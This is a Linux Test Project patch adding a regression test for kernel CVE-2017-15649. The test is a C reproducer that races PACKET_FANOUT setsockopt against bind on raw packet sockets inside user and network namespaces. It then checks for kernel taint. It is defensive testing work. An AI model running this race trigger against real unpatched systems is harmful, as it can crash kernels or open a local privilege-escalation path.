[LTP] [PATCH] Add a regression test for cve-2017-15649
Michael Moese
mmoese@suse.de
Tue Sep 24 13:21:59 CEST 2019
net/packet/af_packet.c in the Linux kernel before 4.13.6 allows local
users to gain privileges via crafted system calls that trigger
mishandling of packet_fanout data structures, because of a race
condition (involving fanout_add and packet_do_bind) that leads to a
use-after-free.
See https://ssd-disclosure.com/archives/3484 for more detail.
Signed-off-by: Michael Moese <mmoese@suse.de>
---
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/Makefile | 1 +
testcases/cve/cve-2017-15649.c | 192 +++++++++++++++++++++++++++++++++
4 files changed, 195 insertions(+)
create mode 100644 testcases/cve/cve-2017-15649.c
diff --git a/runtest/cve b/runtest/cve
index 33c9196e0..6c0597e71 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -40,3 +40,4 @@ cve-2017-1000380 snd_timer01
cve-2018-5803 sctp_big_chunk
cve-2018-1000001 realpath01
cve-2018-19854 crypto_user01
+cve-2017-15649 cve-2017-15649
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 01a3e4c8f..94415b4e4 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -10,3 +10,4 @@ stack_clash
cve-2017-17052
cve-2017-16939
cve-2017-17053
+cve-2017-15649
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index da44fff60..6cf3b5af9 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -46,5 +46,6 @@ cve-2017-17052: CFLAGS += -pthread
cve-2017-17053: CFLAGS += -pthread
cve-2015-3290: CFLAGS += -pthread
+cve-2017-15649: CFLAGS += -pthread
include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/cve/cve-2017-15649.c b/testcases/cve/cve-2017-15649.c
new file mode 100644
index 000000000..c19b5bdd4
--- /dev/null
+++ b/testcases/cve/cve-2017-15649.c
@@ -0,0 +1,192 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2019 Michael Moese <mmoese@suse.com>
+ */
+/* Regression test for CVE-2017-15649
+ * based on the reproducer at https://ssd-disclosure.com/archives/3484
+ *
+ * net/packet/af_packet.c in the Linux kernel before 4.13.6 allows local users
+ * to gain privileges via crafted system calls that trigger mishandling of
+ * packet_fanout data structures, because of a race condition (involving
+ * fanout_add and packet_do_bind) that leads to a use-after-free.
+ *
+ * Be careful! This test may crash your kernel!
+ */
+
+#include <pthread.h>
+#include <stdio.h>
+#include <sched.h>
+#include <string.h>
+#include <time.h>
+#include <net/if.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+
+#include "tst_test.h"
+#include "tst_taint.h"
+#include "tst_safe_pthread.h"
+#include "tst_fuzzy_sync.h"
+#include "tst_capability.h"
+#include "lapi/syscalls.h"
+
+#define TEST_RUNTIME 15 /* seconds */
+
+static struct tst_fzsync_pair fzsync_pair;
+static int fd;
+static struct ifreq ifr;
+
+struct sockaddr_ll {
+ unsigned short sll_family;
+ short sll_protocol;
+ int sll_ifindex;
+ unsigned short sll_hatype;
+ unsigned char sll_pkttype;
+ unsigned char sll_halen;
+ unsigned char sll_addr[8];
+};
+static struct sockaddr_ll addr;
+
+void *task1(void *unused)
+{
+ int fanout = 0x3;
+
+ if (tst_fzsync_run_a(&fzsync_pair)) {
+ setsockopt(fd, 0x107, 18, &fanout, sizeof(fanout));
+ tst_fzsync_end_race_a(&fzsync_pair);
+ }
+ return unused;
+}
+
+void *task2(void *unused)
+{
+ if (tst_fzsync_run_b(&fzsync_pair)) {
+ bind(fd, (struct sockaddr *)&addr, sizeof(addr));
+ tst_fzsync_end_race_b(&fzsync_pair);
+ }
+ return unused;
+}
+
+static int write_file(const char *file, const char *what, ...)
+{
+ char buf[1024];
+ va_list args;
+ int len;
+ int my_fd;
+
+ va_start(args, what);
+ vsnprintf(buf, sizeof(buf), what, args);
+ va_end(args);
+
+ buf[sizeof(buf) - 1] = 0;
+ len = strlen(buf);
+
+ my_fd = SAFE_OPEN(file, O_WRONLY | O_CLOEXEC);
+
+ SAFE_WRITE(1, my_fd, buf, len);
+
+ SAFE_CLOSE(my_fd);
+
+ return 0;
+}
+
+static void setup(void)
+{
+ int real_uid = getuid();
+ int real_gid = getgid();
+
+ tst_fzsync_pair_init(&fzsync_pair);
+ tst_taint_init(TST_TAINT_W | TST_TAINT_D | TST_TAINT_L);
+
+ if (unshare(CLONE_NEWUSER) != 0) {
+ printf("[!] unprivileged user namespaces are not available\n");
+ perror("[-] unshare(CLONE_NEWUSER)");
+ exit(EXIT_FAILURE);
+ }
+
+ if (unshare(CLONE_NEWNET) != 0) {
+ perror("[-] unshare(CLONE_NEWUSER)");
+ exit(EXIT_FAILURE);
+ }
+
+ if (write_file("/proc/self/setgroups", "deny")) {
+ perror("[-] write_file(/proc/self/set_groups)");
+ exit(EXIT_FAILURE);
+ }
+
+ if (write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
+ perror("[-] write_file(/proc/self/uid_map)");
+ exit(EXIT_FAILURE);
+ }
+
+ if (write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
+ perror("[-] write_file(/proc/self/gid_map)");
+ exit(EXIT_FAILURE);
+ }
+}
+
+
+static void run(void)
+{
+ int index;
+ struct timespec start, now;
+ struct tst_cap_user_data before[2] = { {0} };
+ struct tst_cap_user_data after[2] = { {0} };
+
+ struct tst_cap_user_header hdr = {
+ .version = 0x20080522,
+ .pid = tst_syscall(__NR_gettid),
+ };
+
+ if (tst_capget(&hdr, before))
+ tst_brk(TBROK | TTERRNO, "tst_capget()");
+
+ clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &start);
+
+ while (1) {
+ pthread_t thread1, thread2;
+
+
+ fd = SAFE_SOCKET(AF_PACKET, SOCK_RAW, PF_PACKET);
+
+ strcpy((char *) &ifr.ifr_name, "lo");
+ SAFE_IOCTL(fd, SIOCGIFINDEX, &ifr);
+ index = ifr.ifr_ifindex;
+
+ SAFE_IOCTL(fd, SIOCGIFFLAGS, &ifr);
+ ifr.ifr_flags &= ~(short) IFF_UP;
+
+ SAFE_IOCTL(fd, SIOCSIFFLAGS, &ifr);
+
+ addr.sll_family = AF_PACKET;
+ addr.sll_protocol = 0x0;
+ addr.sll_ifindex = index;
+
+ SAFE_PTHREAD_CREATE(&thread1, NULL, task1, NULL);
+ SAFE_PTHREAD_CREATE(&thread2, NULL, task2, NULL);
+ SAFE_PTHREAD_JOIN(thread1, NULL);
+ SAFE_PTHREAD_JOIN(thread2, NULL);
+
+ SAFE_CLOSE(fd);
+
+ if (tst_capget(&hdr, after))
+ tst_brk(TBROK | TTERRNO, "tst_capget()");
+
+ if (memcmp(before, after, sizeof(after)) || tst_taint_check())
+ tst_res(TFAIL, "kernel is vulnerable");
+
+ clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &now);
+ if ((now.tv_sec - start.tv_sec) > TEST_RUNTIME)
+ tst_res(TPASS, "kernel seems to be not vulnerable");
+ }
+}
+
+static struct tst_test test = {
+ .test_all = run,
+ .setup = setup,
+ .caps = (struct tst_cap []) {
+ TST_CAP(TST_CAP_REQ, CAP_SYS_ADMIN),
+ TST_CAP(TST_CAP_REQ, CAP_NET_RAW),
+ TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN),
+ {},
+ },
+};
--
2.23.0
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